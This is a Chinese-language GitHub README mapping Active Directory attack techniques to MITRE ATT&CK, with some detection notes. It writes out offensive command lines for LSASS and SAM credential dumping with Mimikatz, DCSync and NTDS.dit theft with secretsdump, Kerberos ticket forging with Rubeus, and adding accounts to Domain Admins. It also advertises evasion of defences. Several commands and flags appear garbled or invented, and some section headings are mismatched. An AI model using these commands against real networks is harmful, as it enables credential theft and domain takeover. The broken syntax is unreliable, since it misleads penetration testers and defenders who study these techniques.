d0midigi/MITRE-ATT-CK-TTPs-Mapping-to-Active-Directory-AD-Attacks
GitHub: d0midigi/MITRE-ATT-CK-TTPs-Mapping-to-Active-Directory-AD-Attacks
将Active Directory攻击技术与MITRE ATT&CK框架全面映射的综合指南,涵盖凭据窃取、横向移动及具体的攻击工具与检测方法。
Stars: 0 | Forks: 0
# MITRE ATT&CK® 战术、技术与流程 (TTPs) 与 Active Directory (AD) 攻击的映射
🔸
🔸
🔸
🔸
该映射包括:
* **工具集**:用于 AD 利用的重要软件。
* **执行**:用于快速部署的精确命令行语法。
* **技巧**:关于进攻性工具的专业技巧、最佳实践和常见陷阱。
* **规避**:经证实可绕过蓝队防御和安全控制的策略。
🔸专注于可操作的威胁情报。最适合红队、进攻性安全专业人员、渗透测试人员、道德黑客、紫队、漏洞专家和网络安全专业人员。
🔸本资源提供可操作的威胁情报,专为希望加固或利用 AD 环境的红队、渗透测试人员、道德黑客和紫队从业者量身定制。
## 免责声明
```
+------------------------------------------------------------------------------------------------+
| ⚠️ EDUCATIONAL USE ONLY ⚠️ |
| |
| This repository is intended strictly for educational purposes, designed to assist |
| security professionals, researchers, and thical hackers in understanding attacker |
| tactics, techniques, and procedures (TTPs) to strengthen defensive strategies. |
| **The authors are not liable for any misuse of this information.**Misuse or abuse |
| of the material(s) provided herein against degital devices or networks for which |
| you do not explicitly own or do not have explicit written authorization (permission) |
| from device and/or network owners may result in legal action. |
+------------------------------------------------------------------------------------------------+
```
## 目录
* [凭据访问 (TA0006)](#credential-access)
* [横向移动 (TA0008)](#lateral-movement)
* [持久化 (TA0003)](#persistence)
* [权限提升 (TA0004)](#privilege-escalation)
* [可操作的缓解与防御策略](#actionable-mitigation-and-defense-strategies)
* [监控(检测)](#monitoring-detection)
* [进攻性安全最佳实践与蓝队建议](#offensive-security-best-practices-and-blue-team-advice)
* [核心 Active Directory TTPs](#core-active-directory-ttps)
* [发现](#discovery)
* [横向移动与持久化](#lateral-movement-and-persistence)
* [Active Directory CS (证书服务)](#active-directory-cs-certificate-services)
* [委托与关系攻击](#delegation-and-relationship-attacks)
* [操作与模拟](#manipulation-and-impersonation)
* [网络与协议攻击(内网)](#network-and-protocol-attacks-in-network)
* [红队执行:通往域管理员之路](#red-team-execution-path-to-domain-admin)
* [规避与工具命令语法技术深度解析](#technical-deep-dive-into-evasion-and-tool-command-syntax)
为了简化和清晰起见,术语“个人”将根据上下文用于表示攻击者和防御者。
# 凭据访问 [(TA0006)](https://attack.mitre.org/tactics/TA0006/)
* **操作系统凭据转储** [(T1003)](https://attack.mitre.org/techniques/T1003/003/):操作系统凭据转储是个人从初始系统访问过渡到完全网络妥协的主要方法(如果不是唯一的方法)。通过窃取存储在操作系统内存或数据库中的密码哈希或明文凭据,个人可以提升权限并在环境中横向移动。此技术常被勒索软件团伙和 APT 组织使用。
**🔸TL;DR**:如 LSASS 内存转储、`ntds.dit` 窃取和 SAM 配置单元转储等技术,用于获取 NTLM 哈希或明文密码。🔸
* **窃取或伪造身份验证证书 [(T1649)](https://attack.mitre.org/techniques/T1649/)**:窃取或伪造身份验证证书是一项关键的 MITRE ATT&CK® 技术,专注于滥用 Active Directory 证书服务 (AD CS) 来获取未经授权的访问。由于 AD CS 启用了基于证书的身份验证(使用证书代替密码),破坏证书基础架构允许个人绕过传统的基于密码的安全控制,建立长期持久性,并将权限提升到最高级别(例如,域管理员)。
**🔸TL;DR**:滥用 AD 证书服务 (AD CS) 以实现持久化或权限提升。🔸 # 凭据访问工具 ## Mimikatz * Mimikatz 是一个功能强大的开源后渗透工具,旨在直接从 Windows 内存(LSASS 进程)中提取明文密码、哈希、PIN 和 Kerberos 票据。它主要供个人用于提升权限、通过网络横向移动,以及通过传递哈希和黄金票据攻击等技术建立持久访问。 ## Mimikatz 的关键功能和特性 * **凭据转储 (`sekurlsa`)**:从内存中提取凭据,包括明文用户密码、NTLM 哈希和 Kerberos 票据。 * **传递哈希**:使用窃取的 NTLM 哈希以用户身份进行身份验证,而无需原始密码。 * **传递票据/黄金票据**:生成伪造的 Kerberos 票据以获得未经授权的域访问权限并模拟任何用户,通常无限期有效。 * **权限提升**:将低级用户访问权限提升到管理员或 `SYSTEM` 级权限。 * **证书导出**:从 Windows 证书存储中导出证书和私钥,即使标记为不可导出。 * **无文件执行**:通常通过 PowerShell 或类似方法在内存中执行,以避免磁盘检测。 * **Dumpert**:[Dumpert](https://github.com/outflanknl/dumpert) 是一个开源的专业安全工具,旨在为 Windows 操作系统上的本地安全权威子系统服务 (LSASS) 进程创建内存转储。它主要用于红队演习和渗透测试,以窃取凭据(如密码哈希和 Kerberos 票据),同时避免被防病毒 (AV) 和端点检测与响应 (EDR) 解决方案检测。 ## Mimikatz 关键功能和能力 * **LSASS 内存转储**:它提取 `lsass.exe` 的内存,其中存储了敏感的用户凭据,并将它们保存到 `.dmp` 文件中。 * **AV/EDR 规避**:与标准工具(如 [Sysinternals ProcDump](https://learn.microsoft.com/en-us/sysinternals/downloads/procdump) 或 Mimikatz)不同,Dumpert 避免使用被安全软件大量监控的常见 Windows API 函数。 * **直接系统调用 [(Syscalls)](https://github.com/j00ru/windows-syscalls)**:它通过直接向内核执行系统调用来绕过用户模式挂钩,使得安全产品难以检测该活动。 * **API 取消挂钩**:该工具取消挂钩 API 函数以进一步掩盖其活动。 * **无文件操作 (sRDI)**:它提供一个 sRDI(shellcode 反射式 DLL 注入)版本,允许通过 [Cobalt Strike](https://github.com/cobalt-strike) 直接注入到内存中,从而避免将文件写入磁盘。 ## Mimikatz 使用上下文 * **凭据窃取**:一旦创建了 `lsass.dmp` 文件,不仅可以使用 Mimikatz 对其进行离线分析,其他凭据访问工具变体(如 [Pypykatz](https://github.com/skelsec/pypykatz))也可以用来提取明文密码和哈希。 * **横向移动**:窃取的凭据使个人能够跨网络横向移动。 # 后渗透 Active Directory (AD) 中的后渗透是指前攻击阶段,其中个人已经获得了初步立足点(例如,标准用户的凭据或受损的工作站),现在正致力于扩大其影响力、提升权限并在域内实现其最终目标。在扁平网络中,后渗透是“着陆”和完全控制整个企业之间的桥梁。 ## 后渗透的主要目标 ## 权限提升 * 从标准用户移动到高权限帐户(域管理员,企业管理员)。 ## 横向移动 * 从最初受损的机器跳转到其他服务器或工作站,以寻找更敏感的数据宝库。 ## 持久化 * 确保个人即使初始入口点被关闭、阻止或用户更改密码也能重新进入网络。 ## 数据渗出 * 定位并窃取知识产权、财务记录或 PII(个人身份信息)。 ## 域控制 * 达到一种个人“即”网络的状态(例如,控制域控制器)。 ## 常见后渗透技术 ## 1. 枚举(绘制地形图) * 个人需要了解 AD 结构以精确定位目标。 * **BloodHound/SharpHound**:绘制隐藏的权限关系和通往域管理员的攻击路径。 * **PowerView**:搜索“高价值”目标,例如登录了域管理员的计算机。 * **AD Explorer**:查看整个 AD 数据库以查找包含密码的描述或属性。 ## 2. 凭据收集(“王国的钥匙”) 一旦在机器上,个人就会寻找存储的机密。 * **LSASS 转储**:使用 Mimikatz 等工具从内存中提取明文密码或 NTLM 哈希。 * **SAM 数据库**:从注册表中提取本地管理员密码。 * **DCSync (T1003.006)**:模拟域控制器以请求任何用户(包括 `krbtgt` 帐户)的密码哈希。 ## 3. 横向移动(在域中导航) 使用合法的管理工具在网络中移动。 * **传递哈希**:使用 NTLM 哈希进行身份验证,而无需知道受损帐户的明文密码。 * **传递票据**:使用窃取的 Kerberos 服务票据 (TGT) 来访问资源。 * **远程执行**:使用 `PsExec`、WMI 或 WinRM (Windows 远程管理) 在远程服务器上运行命令。 ## 4. 持久化(暂时停留) 确保在重启和密码重置后仍能长期访问。 * **黄金票据**:伪造 Kerberos 票据授予票据 (TGT),可以授予对资源的访问权限长达数年。 * **白银票据**:伪造特定服务(如 CIFS 或 LDAP)的服务票据。 * **万能钥匙**:在控制器的内存中注入一个对所有用户都有效的“主密码”。 ## 后渗透阶段 **阶段**:发现 **操作**:查找域管理员登录的位置。 **工具示例**:`Invoke-UserHunter` **阶段**:凭据访问 **操作**:从本地内存中拉取哈希。 **工具示例**:`Mimikatz` **阶段**:横向移动 **操作**:使用窃取的哈希远程登录到文件服务器。 **工具示例**:`CrackMapExec` **阶段**:控制 **操作**:重置 `krbtgt` 密码并创建黄金票据。 **工具示例**:`Rubeus` ## 如何阻止后渗透 * **分层管理模型**:确保域管理员从不登录其凭据可能被窃取的标准工作站。 * **LAPS (本地管理员密码解决方案)**:为每台机器提供唯一的、随机的本地管理员密码。 * **端点检测与响应 (EDR)**:监控可疑活动,如 LSASS 内存转储或未经授权的 WMI 调用。 * **特权访问管理 (PAM)**:使用“实时 (Just-In-Time)”管理来减少个人的机会窗口。 ## 使用的工具 ## Impacket (`secretsdump`) * Impacket 的 `secretsdump.py` 是一个功能强大的开源 Python 脚本,用于在不在目标机器上安装代理的情况下,从 Windows 系统远程或本地提取敏感机密(如用户密码哈希和凭据)。它被渗透测试人员广泛用于安全审计,也被个人用于横向移动和权限提升。 ## `secretsdump.py` 的核心功能 ## 下面的脚本是 **Impacket** 工具包的一部分,通常用于 **TA0004(权限提升)** 进行凭据转储和域分析。 ### **1. SAM 和 LSA 机密提取** 此技术从本地计算机(例如,域控制器或受损主机)中提取 **NTLM 哈希、明文密码和缓存的域凭据**。 ``` # 示例:从目标机器提取 SAM 和 LSA secrets(需要本地管理员权限) secretsdump.py -u Administrator -p "" -ntlm
```
**输出**:
- 所有本地用户的 NTLM 哈希。
- 明文密码(如果可用)(例如,如果用户密码较弱)。
- 内存中缓存的域凭据(例如,对于域用户)。
**注意**:
- 如果目标是域控制器,这可能会泄露 **域级机密**(例如,**Kerberos 密钥**、**NTDS.dit**)。
- 如果已知本地管理员密码,请将 `` 替换为它,或者如果使用传递哈希则省略它。
## **2. NTDS.dit 提取(域控制器)**
此技术从域控制器中提取 **Active Directory 数据库** (`NTDS.dit`),允许对域用户凭据进行 **离线分析**。
```
# 示例:从域控制器提取 NTDS.dit(需要访问 DC)
secretsdump.py -justdcs -user-only
```
**输出**:
- 所有域用户的NTLM 哈希** 和 **用户名**。
- Kerberos 密钥和其他域机密。
**注意**:
- `-justdcs` 强制脚本连接到 DC 并提取 `NTDS.dit` 文件。
- `-user-only` 将输出过滤为仅域用户(可选)。
- 这通常与离线配置单元解析结合使用以进行更深入的分析。
## **3. DCSync 攻击**
此技术通过 DRSR 协议模拟域控制器,以在 DC 上不执行代码的情况下拉取密码哈希和其他机密。
```
# 示例:执行 DCSync 攻击(需要域用户凭据)
secretsdump.py -smb-server -dc-ip -username -password "" -domain
```
**输出**:
- 域用户的 **NTLM 哈希**。
- **Kerberos 票据** 和 **其他机密**。
**注意**:
- DCSync 是一种提取凭据的 **零点击** 方法,使其成为 **远程权限提升** 的理想选择。
- 如果攻击者拥有 **域管理员** 权限,他们可以使用它来 **转储所有域凭据**。
### **4. 离线配置单元解析**
此技术解析 **先前转储的 SAM、SECURITY 或 SYSTEM 配置单元** 以提取用户凭据和其他敏感数据。
```
# 示例:解析 SAM hive 文件(需要已在本地转储该 hive 文件)
secretsdump.py -hives sam.hive -outputfile output.txt
```
**输出**:
- SAM 配置单元的详细分析,包括:
- 用户 **明文密码**。
- **NTLM 哈希**。
- **用户属性**(例如,启用/禁用状态,上次登录时间)。
**注意**:
- 在通过 **VSS** 或其他方法提取配置单元后使用此方法。
- 结合 `hive_dump.py` 进行更精细的分析(例如,从 SYSTEM 配置单元中提取密码哈希)。
### **5. 卷影副本 (VSS) 用于锁定文件**
此技术使用 **卷影副本** 读取域控制器上的 **锁定文件**(例如,`NTDS.dit`),当它们无法通过常规方法访问时。
```
# 示例:使用 VSS 从锁定的域控制器提取 NTDS.dit
secretsdump.py -use-vss -dc-ip -username -password "" -domain
```
**输出**:
- 即使目标已锁定或无响应,也能获取 `NTDS.dit` 文件。
**注意**:
- `-use-vss` 启用 VSS 以读取锁定文件。
- 当域控制器无法通过正常的 SMB 连接访问时,这很有用。
### **综合示例:完整权限提升工作流**
这是一个结合所有技术的真实场景:
```
# 步骤 1:DCSync 获取 NTLM 哈希(无需在 DC 上执行代码)
secretsdump.py -smb-server -dc-ip -username -password "" -domain
# 步骤 2:使用 VSS 从锁定的 DC 提取 NTDS.dit
secretsdump.py -use-vss -dc-ip -username -password "" -domain
# 步骤 3:解析提取的 NTDS.dit 文件(离线分析)
secretsdump.py -hives ntds.dit -outputfile ntds_output.txt
```
### 如何将其纳入 TA0004(权限提升)
**1. SAM/LSA 机密提取**:显示用于横向移动或凭据重用的本地用户凭据和域机密。
**2. `NTDS.dit` 提取**:提供用于完全域妥协的域范围凭据(例如,使用传递哈希或 Kerberos 票据操作)。
**3. DCSync**:通过模拟 DC 拉取机密来实现远程权限提升,而无需本地管理员权限。
**4. 离线配置单元解析**:允许对用户凭据和系统配置进行深入分析(例如,查找具有 `PasswordNeverExpires` 的用户)。
**5. VSS**:克服 DC 上的文件锁定问题,确保即使 DC 忙碌或锁定也能访问关键机密。
### **使用说明**
- **先决条件**:您需要拥有 **域用户帐户** 的访问权限(例如,通过传递哈希或 NTLM 中继)。
- **执行**:从 **受损主机** 或 **直接在 DC 上**(如果您拥有本地管理员权限)运行脚本。
- **工具**:结合 **BloodHound** 进行基于图形的分析,或结合 **PowerView** 进行 AD 枚举。
## `secretsdump.py` 的主要特性
* **无代理**:不在目标机器上放置代理或二进制文件,这有助于规避检测。
* **多种身份验证方法**:支持通过用户名/密码、NTLM 哈希(传递哈希)或 Kerberos 密钥(传递票据)进行身份验证。
* **服务操作**:如果需要,它可以远程启用远程注册表服务以提取凭据,并在事后将其恢复到原始状态。
## 典型用例
* 拥有一台机器上本地管理员权限的个人可以使用 `secretsdump.PY` 连接到域控制器或另一台机器,提取哈希,然后使用这些哈希向网络中的其他系统进行身份验证(横向移动)。
## BloodHound
* BloodHound 是一个开源网络安全工具,它使用图论来映射和分析 Active Directory (AD) 和 Azure 环境中的关系。它识别隐藏的攻击路径、权限提升和错误配置,允许红队进行横向移动,蓝队修复安全风险。
## BloodHound 的关键功能
* **攻击路径可视化**:它映射用户、组、计算机和权限之间的关系,可视化复杂的 AD 环境。
* **权限提升映射**:它找到从受损的低权限用户到高权限目标(如域管理员)的最短、最有效的路径。
* **数据收集**:它使用收集器(用于 AD 的 SharpHound,用于 Azure 的 AzureHound)来收集有关用户会话、组成员身份和 ACL 的数据。
* **防御性分析**:防御者(蓝队)使用它来识别和消除危险的权限关系和错误配置。
* **攻击模拟**:红队使用它来规划横向移动并模拟勒索软件风格的攻击。
## `secretsdump.py` 的组件
* **数据收集器**:`sharphound.exe` (C#) 或 `powershell.exe` 脚本收集网络数据。
* **图数据库**:Neo4j 存储关系。
* **可视化 GUI**:Web 界面(社区版)或旧版应用程序显示图形,揭示攻击路径。BloodHound 作为开源社区版和托管企业版提供。
# 横向移动 [(TA0008)](https://attack.mitre.org/tactics/TA0008/)
MITRE ATT&CK® 框架中的横向移动是指网络对手使用的策略,用于在网络中导航,从最初受损的系统移动到其他主机,以扩大访问权限、窃取数据或部署勒索软件。这是一个关键的后入侵阶段,通常涉及窃取的凭据和合法工具以规避检测。
## 关键方面和技术
* 个人使用多种方法进行横向移动,通常与授权用户的活动混合在一起:
* **远程服务 [(T1021)](https://attack.mitre.org/techniques/T1021/)**:利用有效凭据通过 RDP、SSH 或 VPN 远程登录。
* **横向工具传输 [(T1570)](https://attack.mitre.org/techniques/T1570/)**:在系统之间移动工具或恶意软件以推进攻击。
* **传递哈希 [(T1550.002)](https://attack.mitre.org/techniques/T1550/002/)**:使用窃取的密码哈希进行身份验证,绕过对明文密码的需求。
* **利用远程服务 [(T1210)](https://attack.mitre.org/techniques/T1210/)**:利用网络服务中的漏洞以获得未经授权的访问。
* **内部网络钓鱼 [(T1534)](https://attack.mitre.org/techniques/T1534/)**:使用受损的内部帐户向同一组织内的其他员工发送网络钓鱼电子邮件。
* **Windows 管理共享 [(T1021.002)](https://attack.mitre.org/techniques/T1021/002/)**:利用内置网络共享来复制文件并在系统之间移动。
## 常见使用示例
* **RDP/VPN 劫持**:个人使用窃取的 VPN 凭据登录到工作站,然后使用 RDP 移动到敏感服务器。
* **使用管理工具**:利用 Windows 管理工具 (WMI) 或 PowerShell 远程处理 (PSR) 在远程计算机上执行代码。
* **云横向移动**:通过窃取 API 密钥或利用配置错误的 IAM 角色在云租户之间跳转来访问共享云资源。
### ℹ️ 关于横向移动的重要说明
* 此策略对于个人实现其最终目标至关重要,例如窃取知识产权、提升权限或在整个网络中获得持久性。它在大约 60% 的攻击中被大量使用,包括勒索软件活动。
* **远程服务 [(T1021)](https://attack.mitre.org/techniques/T1021/)**:远程服务涉及个人使用合法凭据,通过滥用内置管理工具(如 RDP、SMB/管理共享和 WMI)在网络内进行横向移动。通过与正常管理活动混合(Living Off The Land),个人可以窃取数据、安装恶意软件或转向新目标。
## 远程服务横向移动的关键方面
* **SMB/Windows 管理共享 [(T1021.002)](https://attack.mitre.org/techniques/T1021/002/)**:个人利用有效帐户连接到默认管理共享(例如,`C$`、`ADMIN$`)以复制恶意工具并进行横向移动。
* **远程桌面协议 [(T1021.001)](https://attack.mitre.org/techniques/T1021/001/)**:个人使用 RDP 以图形用户界面交互式登录系统,通常使用窃取的凭据,允许他们像普通用户一样行事。
* **Windows 管理工具 (WMI) [(T1021.003)](https://attack.mitre.org/techniques/T1021/003/)**:个人使用 WMI 在其他 Windows 系统上远程执行代码,通常用于隐蔽的命令执行,绕过标准监控。
* **其他通道**:此技术还包括滥用 SSH、VNC、Windows 远程管理和云服务来访问远程基础架构。
## 检测和缓解策略
* **监控活动**:查找异常的登录活动,例如,用户帐户在短时间内访问多个系统,或正常工作时间之外的 RDP/SMB 活动。
* **限制访问**:使用 Windows 防火墙限制 SMB 访问,如果不需要则禁用管理共享,并将本地管理员帐户限制为特定工作站。
* **凭据管理**:为本地管理员帐户强制执行强唯一的密码,以防止传递哈希攻击。
* * **传递哈希 / 传递票据**:利用窃取的哈希或 Kerberos 票据来模拟用户。
* **TL;DR**:使用有效帐户通过 SMB/Windows 管理共享、远程桌面协议 (RDP) 或 Windows 管理工具 (WMI) 进行横向移动。
### 工具
`PsExec`
### 工具描述
* `PsExec` 是 Microsoft Sysinternals 套件中的一个轻量级命令行工具,它使管理员能够在远程 Windows 系统上执行进程、脚本和命令。它实现了远程故障排除、软件安装和系统管理,例如以本地 SYSTEM 帐户身份运行命令,而无需手动安装客户端。
## 主要功能和用途
* **远程命令执行**:允许使用 `psexec \\` 在一台远程计算机或多台计算机上同时运行工具和命令。
* **交互式会话**:能够在远程系统上打开完全交互式的命令提示符 (`cmd.exe`) 以运行命令,就像坐在该机器前一样。
* **`SYSTEM` 权限**:支持以 `SYSTEM` 帐户身份运行进程(通过 `-s` 开关),这对于安装软件或访问受限系统文件很有用。
* **文件传输**:可以将二进制文件复制到远程计算机并通过 `ADMIN$` 共享执行它们。
## 工作原理:
* `PsExec` 通过 SMB (TCP 端口 445) 连接到目标机器的 `ADMIN$` 共享,将临时服务可执行文件 (`PSEXESVC.exe`) 复制到其中,并使用该服务启动请求的命令或进程。
* **ℹ️ 重要注意事项**
* **安全性**:由于它能够远程启动进程,因此它常被个人用于横向移动、权限提升以及在勒索软件活动期间部署恶意软件。
* **要求**:需要目标机器上的管理员凭据,并且远程计算机必须启用了文件和打印机共享。
* **替代方案**:虽然很受欢迎,但管理员可能会使用更强大的工具(如 PowerShell 远程处理 (PSR))进行大规模部署。
### 工具
WMIExec
### 工具描述
* WmIexec 是一个多功能的 Impacket 套件工具,用于在远程 Windows 系统上执行命令并获得半交互式 shell。它利用 WMI 和 DCOM (TCP 135) 进行横向移动和命令执行,而无需创建新服务,这使其比类似的工具(如 `smbexec`)更隐蔽。
## 关键特性和行为
* **远程命令执行**:使用 WMI (`Win32_Process` 类) 远程执行命令 (`cmd.exe /c`),通常导致以 `wmiprvse.exe` 为父进程的进程。
* **输出重定向**:它通过 SMB 将命令输出保存到文件(通常在 `ADMIN$` 中),然后将其删除,这允许查看命令结果。
* **隐蔽操作**:它不需要在目标机器上安装服务,这使得它更难被检测到。
* **要求**:需要具有本地管理员权限的帐户的有效凭据(用户名和密码或 NTLM 哈希)。
* **用法**:它经常被红队和个人用来运行命令、运行 PowerShell 或生成反向 shell。
它是 Impacket 库中广为人知的强大工具,Impacket 是一个用于处理网络协议的开源工具集。
### 工具
RDP (远程桌面协议)
* 远程桌面协议 (RDP) 工具由 Microsoft 开发,允许用户通过网络或互联网连接远程连接、查看和控制另一台计算机。它提供图形界面,使用户能够操作远程机器(如台式机或服务器),就像他们物理上坐在它前面一样。
## RDP 工具的主要功能* **远程访问与控制**:从远程位置访问计算机,允许在家工作、访问文件或管理服务器。
* **远程故障排除**:IT 人员可以连接到员工的机器以诊断或修复问题。
* **文件/打印机共享**:RDP 支持资源重定向,例如从远程机器打印到本地打印机或访问本地文件。
* **虚拟桌面体验**:提供完全交互式的桌面环境,包括鼠标和键盘输入。
* **剪贴板共享**:允许在本地和远程计算机之间复制和粘贴文本或文件。
## 主要特性和属性
* **安全性**:RDP 通常使用加密来保护客户端和服务器之间的数据传输。
* **协议标准**:它基于 T-120 协议系列,利用专用通道(通常是端口 3389)进行数据传输。
* **多平台支持**:虽然原生于 Windows,但 RDP 客户端存在于 macOS、Linux、iOS 和 Android 上。
* **带宽效率**:它旨在高效地在网络上运行,减少重传屏幕数据的需要。
RDP 广泛用于企业环境进行 IT 管理、支持远程工作和访问基于云的服务器,尽管它需要安全配置以避免安全风险。
## 持久化 [(TA0003)](https://attack.mitre.org/techniques/TA0003/)
持久化是 MITRE ATT&CK® 框架内的核心策略,代表对手用来维持对目标系统访问的技术,即使在发生中断(如持续重启、凭据更改或网络中断)之后也是如此。此策略的最终目标是确保在受损主机上长期、持续的存在,以促进进一步的恶意活动,例如数据窃取、间谍活动或横向移动。在 20 多种不同的技术分类下,持久化对个人至关重要,因为它允许他们即使其初始入侵方法被发现并被阻止也能保留立足点。
## 持久化攻击技术和工具
### 1. 帐户操作 [(T1098)](https://attack.mitre.org/techniques/T1098/)
* 帐户操作是一种 MITRE ATT&CK® 技术,对手在其中修改现有的合法用户或管理员帐户以维持持久访问、提升权限或规避检测。与创建新帐户 (T1136) 不同,后者通常会触发安全警报,操作现有帐户允许个人使用有效凭据隐藏在众目睽睽之下。
### 2. 修改特权组 [(T1098.007)](https://attack.mitre.org/techniques/T1098/007/)
* 个人修改组成员身份以将权限从标准用户提升到管理员或获取对敏感资源的访问权限。
* **Windows 持久化**:个人使用诸如 `net localgroup "Administrators" [username] /add` 或 `net group "Domain Admins" [username] /add` 之类的命令来提升受损帐户。
* **Linux 持久化**:对手可能会使用 `usermod -aG sudo [username]` 将用户添加到 `sudo` 或 wheel 组以获得 root 级权限。
* **Active Directory/云持久化**:将用户添加到域管理员组或分配高级 RBAC 角色(例如,Office 365 中的全局管理员)可确保持久的高级访问权限。
### 2. 将密钥添加到 `authorized_keys` [(T1098.004)](https://attack.mitre.org/techniques/T1098/004/)
* 在 Linux/macOS 系统上,个人将自己的 SSH 公钥添加到用户的 `.ssh/authorized_keys` 文件中,允许他们无需密码即可通过 SSH 登录。
* **机制**:获得 shell 访问权限的个人将其公钥附加到 `/home/[username]/.ssh/authorized_keys`。
* **持久化**:即使个人的原始恶意进程被终止,他们也可以随时使用相应的私钥重新进入系统,从而绕过基于密码的安全性。
* **云持久化**:在云环境中,这可以通过 CLI 或 API 完成,以修改虚拟机实例上的 SSH 密钥。
### 3. 操作用户属性 [(T1098)](https://attack.mitre.org/techniques/T1098/)
* 对手调整特定的帐户属性以绕过安全策略或维持访问。
* **密码策略**:个人可能会反复更改密码以确保受损帐户不会过期,或者在绕过密码历史记录要求的同时设置已知密码。
* **服务主体名称 (SPN)**:操作 SPN 可以促进 Kerberoasting,这是一种破解服务帐户密码的技术。
### 4. MFA/设备注册 [(T1098.005)](https://attack.mitre.org/techniques/T1098/005/)
* 个人可以通过 Azure Entra ID 或 Duo 自助注册门户向用户帐户注册新设备,以绕过多重身份验证 (MFA)。
* **登录时间**:修改允许的登录时间以允许 24/7 访问。
### 5. 特定于云的操作 [(T1098.003)](https://attack.mitre.org/techniques/T1098/003/)
* **其他云角色**:在 AWS 中,对手可能会使用 `AttachUserPolicy` 将具有过多权限的 IAM 策略附加到受损帐户。
* **OAuth 应用程序滥用**:创建或修改 OAuth 应用程序以获得对用户数据(例如,邮箱)的长期 API 访问,而无需用户凭据。
## 检测和缓解
* **监控组成员身份更改**:对敏感组(如域管理员、企业管理员或 `sudoers`)的未经授权的更改发出警报。
* **审计 `.ssh/authorized_keys`**:使用文件完整性监控 (FIM) 检测对 `authorized_keys` 文件的修改。
* **MFA 注册监控**:当从异常位置注册新设备进行 MFA 时发出警报。
* **审计日志记录**:为用户帐户管理、密码重置和登录活动启用详细的审计。
* **TL;DR**:修改特权组,将密钥添加到 `authorized_keys`,或操作用户属性。
### 工具
* Mimikatz
* **用于**:密码转储和凭据操作
### 使用 Mimikatz 进行密码转储和凭据操作攻击技术演示
```
# 从内存转储所有用户密码(Windows 10/11)
mimikatz.exe "sekurlsa::logonPasswords"
# 提取 NTLM 哈希(用于 pass-the-hash)
mimikatz.exe "sekurlsa::ntlmv1" "sekurlsa::ntlmv2"
# 窃取 Kerberos 票据(用于 pass-the-ticket)
mimikatz.exe "kerberos::ticket"
# 使用窃取的令牌以其他用户身份登录
mimikatz.exe "token::elevate" "token::dump /token" "privilege::debug" "token::runas /user:Administrator"
```
### 使用的工具
* Rubeus
### 工具描述
Rubeus 是一个专用的 C# 工具集,旨在进行原始 Kerberos 交互和滥用,主要用于 Windows Active Directory (AD) 环境。它充当高级凭据提取和操作工具,允许个人和红队直接与 Windows Kerberos 客户端子系统交互以绕过正常的身份验证、伪造票据并执行横向移动。Rubeus 经常用于自动化复杂的 Kerberos 票据攻击,其功能很大程度上改编自 Benjamin Delpy 的 Kekeo 项目。
## Rubeus 支持的关键 Kerberos 票据攻击
Rubeus 支持广泛的攻击技术,包括:
* **Kerberoasting**:Rubeus 自动化查询 Active Directory 中具有注册服务主体名称 (SPN) 的服务帐户、请求票据授予服务 (TGS) 票据并提取它们以进行离线密码破解的过程。
* **AS-REP Roasting**:它针对启用了“不要要求 Kerberos 预身份验证”选项的用户帐户。Rubeus 从域控制器请求 AS-REP 响应,然后可以对其进行离线暴力破解以检索明文密码。
* **传递票据**:Rubeus 可以从受损系统 (LSASS) 的内存中提取票据授予票据 (TGT) 或服务票据,并将它们注入到新会话中以进行横向移动,而无需用户的密码。
* **黄金票据伪造**:Rubeus 可以伪造授予永久、未经授权的域管理员访问权限的 TGT,假设个人已获取密钥分发服务 (KDS) 帐户哈希。
* **白银票据伪造**:它允许创建欺诈性的服务票据,为个人提供对特定服务(如 CIFS 或 MSSQL)的访问权限,而无需与域控制器交互。
* **钻石票据**:Rubeus 用于创建钻石票据——一种更现代、更隐蔽的票据伪造方法,与 KDC 交互以创建自定义票据。
## 关键特性和操作优势
* **内存执行**:Rubeus 旨在完全在内存中运行,通常避免基于文件的防病毒检测。
* **无需管理员权限**:与通常需要本地管理员权限与 LSASS 交互的 Mimikatz 不同,Rubeus 可以以标准域用户身份执行许多操作(如票据请求)。
* **OPSEC 友好**:Rubeus 可以配置为防止在目标主机上缓存票据,并且可以仅请求 RC4 加密的票据,这破解速度更快,以减少个人在系统上花费的时间。
* **定位票据加密**:它支持提取 TGS 票据并将其直接格式化为流行的破解工具,如 Hashcat 和 John the Ripper。
## 检测和缓解
* 由于其强大的功能,安全团队(蓝队)通过以下方式监控 Rubeus 活动:
* **进程监控**:检测 rubeus.exe 或可疑的 .NET 程序集加载。
* **命令行日志记录**:监控 Rubeus 特定的命令,如 asktgt、asktgs、kerberoast 或 ptt。
* **Active Directory 审计**:监控异常的 TGT 请求和审计禁用 Kerberos 预身份验证的帐户。
* **注意:Rubeus 通常被红队和个人用来利用 AD 环境中的弱服务帐户密码、不正确的权限分配和过多的委托设置。**
* **用于**:Kerberos 票据攻击
### 使用 Rubeus 进行 Kerberos 票据攻击技术演示
```
# 使用用户名/密码请求 TGT (Ticket Granting Ticket)
Rubeus.exe GetTGT /user:Administrator /password:Secretpass123
# 使用窃取的 TGT 请求服务票据
Rubeus.exe Requester /tgt:... /s:target.com /dc:domain.com
# 伪造 Kerberos 票据(例如,用于 pass-the-ticket)
Rubeus.exe forge /ticket:... /user:Administrator /domain:domain.com
# 使用 Kerberos 票据访问资源
Rubeus.exe Kerberos::Ticket /ticket:... /s:target.com /dc:domain.com
```
### 使用的工具
* PowerView
### 工具描述
PowerView 是一个专用的基于 PowerShell 的框架,最初是 PowerSploit 的一部分,旨在执行 Active Directory (AD) 枚举并在 Windows 域环境中获得“网络态势感知”。它被安全专业人员、渗透测试人员和红队人员大量使用,以映射 AD 对象、识别错误配置并促进后渗透活动,而无需安装远程服务器管理工具 (RSAT)。
## PowerView 用于 Active Directory 枚举的关键用途
* PowerView 通过使用本机 PowerShell AD 挂钩和 Win32 API 替换传统的 Windows net 命令,自动发现关键 AD 组件。
* **域和对象映射**:枚举用户、组、计算机和域控制器。
* **权限和 ACL 审计**:识别对象上弱的访问控制列表 (ACL) 和访问控制项 (ACE),这通常会导致权限提升路径。
* **信任关系映射**:枚举域和林之间的信任(例如,`Get-DomainTrust`、`Get-ForestTrust`)。
* **“用户狩猎”(横向移动)**:查找特定用户在网络上的登录位置以识别高价值目标(例如,`Invoke-UserHunter`)。
* **本地管理员发现**:识别当前用户在网络上具有本地管理员权限的计算机(例如,`Find-LocalAdminAccess`)。
* **GPO 分析**:枚举组策略对象 (GPO) 以定位脚本中的错误配置或凭据。
### 常见的 PowerView 命令
* 大多数 PowerView 命令旨在通过管道连接在一起,并且通常接受主机数组。
* **用于**:Active Directory 枚举
